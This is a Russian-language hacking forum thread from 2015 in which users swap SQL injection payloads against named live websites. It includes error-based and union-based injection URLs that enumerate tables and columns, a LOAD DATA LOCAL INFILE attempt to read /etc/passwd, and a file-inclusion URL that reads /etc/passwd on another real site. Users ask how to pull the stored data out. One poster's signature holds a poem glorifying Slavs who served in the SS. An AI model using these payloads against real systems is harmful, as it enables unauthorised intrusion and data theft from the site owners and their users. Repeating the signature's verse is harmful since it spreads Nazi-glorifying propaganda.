18.05.2015, 22:40
|
|
Banned
Регистрация: 21.11.2007
Сообщений: 181
С нами:
9721141
Репутация:
1013
|
|
Сообщение от Br@!ns
↑
Тут можно что нибудь сделать?
Код:
http://www.woodworkersworkshop.com/resources/index.php?search=asfasfasf
Код:
http://www.woodworkersworkshop.com/resources/index.php?search=%27)|updatexml(1,repeat(version(),2),1)%23
|
|
|
20.05.2015, 13:16
|
|
Участник форума
Регистрация: 06.11.2007
Сообщений: 143
С нами:
9742875
Репутация:
81
|
|
Сообщение от Br@!ns
↑
LOAD DATA LOCAL INFILE '/etc/passwd' INTO TABLE test FIELDS TERMINATED BY '\n'
=> #1148 - The used command is not allowed with this MySQL version
версия судя по всему, не подходит
Другие команды чтения и записи выдают, что у пользователя не достаточно прав
|
|
|
|
20.05.2015, 13:44
|
|
Познающий
Регистрация: 02.12.2010
Сообщений: 79
С нами:
8128406
Репутация:
-2
|
|
Код:
http://www.svetodom.ru/brand/1%27%20and%28select%201%20from%28select%20count%28*%29,concat%28%28select%20%28select%20concat%28Table_name%29%29%20from%20information_schema.tables%20limit%20100,1%29,floor%28rand%280%29*2%29%29x%20from%20information_schema.tables%20group%20by%20x%29a%29%20and%201=1--+/
до таблиц добрался, как дальше выбрать таблицу и узнать столбцы, и узнать информацию в столбцах? |
|
|
|
20.05.2015, 13:50
|
|
Banned
Регистрация: 21.11.2007
Сообщений: 181
С нами:
9721141
Репутация:
1013
|
|
Сообщение от teh
↑
Код:
http://www.svetodom.ru/brand/1%27%20and%28select%201%20from%28select%20count%28*%29,concat%28%28select%20%28select%20concat%28Table_name%29%29%20from%20information_schema.tables%20limit%20100,1%29,floor%28rand%280%29*2%29%29x%20from%20information_schema.tables%20group%20by%20x%29a%29%20and%201=1--+/
до таблиц добрался, как дальше выбрать таблицу и узнать столбцы, и узнать информацию в столбцах?
select column_name from information_schema.columns where table_name = TABLE
Код:
http://www.svetodom.ru/brand/1+and(extractvalue(1,concat(0x3a,(select(column_name)from+information_schema.columns+where+table_name=0x444f434c495354+limit+0,1))))=1/
|
|
|
|
20.05.2015, 14:03
|
|
Постоянный
Регистрация: 03.09.2010
Сообщений: 885
С нами:
8258006
Репутация:
25
|
|
Сообщение от truelamer
↑
Другие команды чтения и записи выдают, что у пользователя не достаточно прав
Ну вообще вроди как права на чтения и ненужны, при той команде что я написал выше.
Код:
https://rdot.org/forum/showthread.php?t=741
|
|
|
|
20.05.2015, 14:30
|
|
Banned
Регистрация: 21.11.2007
Сообщений: 181
С нами:
9721141
Репутация:
1013
|
|
не думали, что mysql просто сконфигурирован корректно?
|
|
|
|
20.05.2015, 15:07
|
|
Участник форума
Регистрация: 07.10.2013
Сообщений: 140
С нами:
6630806
Репутация:
6
|
|
|
|
|
|
20.05.2015, 17:28
|
|
Banned
Регистрация: 21.11.2007
Сообщений: 181
С нами:
9721141
Репутация:
1013
|
|
там фильтр на etc. но в другом скрипте нет:
Код:
http://sartraccc.ru/print.php?print_file=/etc/passwd
|
|
|
|
21.05.2015, 12:01
|
|
Reservists Of Antichat - Level 6
Регистрация: 15.03.2009
Сообщений: 560
С нами:
9030566
Репутация:
2017
|
|
ЛОГИНЫ ПАРОЛИ В ОТКРЫТОМ ВИДЕ ЗДЕСЬ НЕ ПОСТИМ
__________________
В сырых могилах Второй Мировой
Солдатам снятся цветные сны.
Их кости порой видны под первой травой,
Когда сойдет снег в начале весны.
Славяне тоже сражались в отрядах СС
За чистоту арийской крови.
Теперь они дремлют за чертою небес,
Но снова встанут на бой, лишь позови.
|
|
|
|
22.05.2015, 02:04
|
|
Познающий
Регистрация: 02.12.2010
Сообщений: 79
С нами:
8128406
Репутация:
-2
|
|
Помогите с выводом
вроде все хорошо
Код:
http://helpmerchants.com/product_info.php?product_id=-425+union+select+1,table_name+from+information_schema.tables+limit+0,1--
но как хочу достать инфу, ничего не выводить
Код:
http://helpmerchants.com/product_info.php?product_id=-425+union+select+1,AddressInfoID+from+helpusr.addressinfo--
|
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Комбинированный вид
